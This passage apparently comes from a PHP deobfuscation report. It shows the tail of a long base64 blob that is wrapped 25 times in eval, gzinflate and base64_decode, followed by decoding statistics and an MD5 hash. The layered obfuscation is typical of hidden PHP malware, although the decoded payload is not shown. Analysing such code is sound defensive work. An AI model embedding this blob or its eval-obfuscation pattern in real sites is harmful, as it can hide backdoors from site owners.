6cmA32rxf2we5YSO1YA4W7ZtphK18spLRJwIa318xUZySiDqspvd7QO6eKn2ya3uTTdts57Q4VCV9hnVvbV4QRZTyw+jH0IiHj4u5I4rPyhCrVOpjNVfBddfSdvmuHuWfQqYFD/USLwD2i7vQ2HEOav7RFSUCZuVqtw/ehwesbNGn0KUqx4OTQpQ8YZU0cRxM/1gnOWRfBWmbF8tWRiTClr2bo7cX9ekHBfANGrUXb/TL2F18wn8/Aa4A4FcB+C5n5aXdCJwv7DqaYRdrWqoa1bB58YmgsTKtO0Q+NUVh5vT6r619Y4V3xovql2h/TZxCyvZ4rLE8cQUi49rVlUHwVuSXnYOfqzj6Agh/0S/oJYdduFn7iTWeLOp/1VM4QrcY7eaRb7yzaYzEsDfBQ/O+4kqk+nA9zdv+5rCb9CZpQ0LlBsW77cnsNYXFDnfJ+p/QYW9t2WYIDpBJ8p79fcu3NoW8zVTtjoSzEdmgVOEJxvvMcCfIzj9igRAk1vWmc6UmjCU20yA6ocnXV7fv6sIURA3rOIYAzUvmCvBWOcr/iqqk9iIKqwwnrHUG1iManNPqs/gbQ1PMGElCvne3jVYU3HRxZpfTBeQIR3QXcdILXNeOYfAO4j5NzNu5sJGtasSkh8RMhK8bfKYwwR8QkiREN6CR8WO2oyXiAbisZlS9J3sDcATIB1pe3RTs7ngNEzT5moHYguJ27n75uhPQMtJyHOhCcNeAaYTdAZLkV7czXrrVwrtKIN1IU3X/lW/ghbMe02B25RNr5Jm5WCmFGev7sOeAWoLb3L/yVRqH30fPy7EvnjSEvqA8sM68wdi2Ye1lfOchzjgC3QfTreThXyadSvkMhdiMqFCp+r+tuLvsbRkZ+XqSgY41X6tolSrJw0GXQfVjKPrjo8VHV1Ak+ybfPYVTCMjDj32p/AgRb2i+Ox2TGyYPL+h8NASikXR0xF6+YRid9w7kTun2zedsAfJBi8h3EgadVm9o6CmPXy+Kms2tCNgLGgN9ySVpuvB5cHW3vo8+IW7Os5WSEDECxm4Il2yAQq5ErsuBRsj/4I1xPb+1Kfl0T/Vaxf7KpqeVy9jXN8ae89rthT/NuVZVLgJyhiNPF11y6S7hxPAX2n/ljUXSLaWZW/MwoK3FBBS5Vk3h8UeY9G3aB+9qRR6FvfRGAaX3nl1ur4Tgv5WOAgZs32M7YTBaHHy4V9hGAqSHP9h3GAIZfeC9H/R7W+g5Bw1d0JQ42b+8d5Vy49C/Y8jzUeNbMsnZO3b/Ctg2q6pH7wrjgebkfoAD+kNc5AxzyZPxlVBS0mgTCmJBSTqAPcVP1JGL7mX6vFjCzj1ganW1jlJRdkRPtoDSdXPPjqV8pedIPcJtGqq6IHOpYpu7u6xncFGlvGBOOO7n2moa51uBBM0xJdonV1xz24U1VAFjzjEz08vPW29JbfP135mmMCKAPGCvl8371schMzeMLbfD26bEfU55e8pVE56l4yymC17lNCfHYdd+QZ8gYzrwiT9PpZKGtVQah9U1T0++imA6LsHHJaWRfDuDqKP6Y2swy8slnM/DT0VaeEQSSSb0EAG42J+oNyjP5ip/Qorc3190cJp+tGwc1x2Fy0k6+tpn1DVco738MJEYP4zymsUPyIvRI0ZqOy4AL53AOHGLz2wo7nNT26JvlGae/j645hq/IEhm+73Yqe6o6aUhxlYRgG/iwfr9XC+EbRrEWmNGmIpi9qA6/MT76dDUBkVJVWeOxlDuARqVtroRPdbDzvLCemzDhrLyksuQIiMw6Mf/W0dcUKGbih+44SOGeQ0BJzH2SGnLdXWmQVDI2m+0auOfRlzTXRyr8Ti9CTZyijHQKgqD1/oEgbV3//vu/f/755///AQ=="))); ?>

Function Calls

gzinflate 25
base64_decode 25

Variables

None

Stats

MD5 2c48c95a21322bf503558376f4a7edde
Eval Count 25
Decode Time 621 ms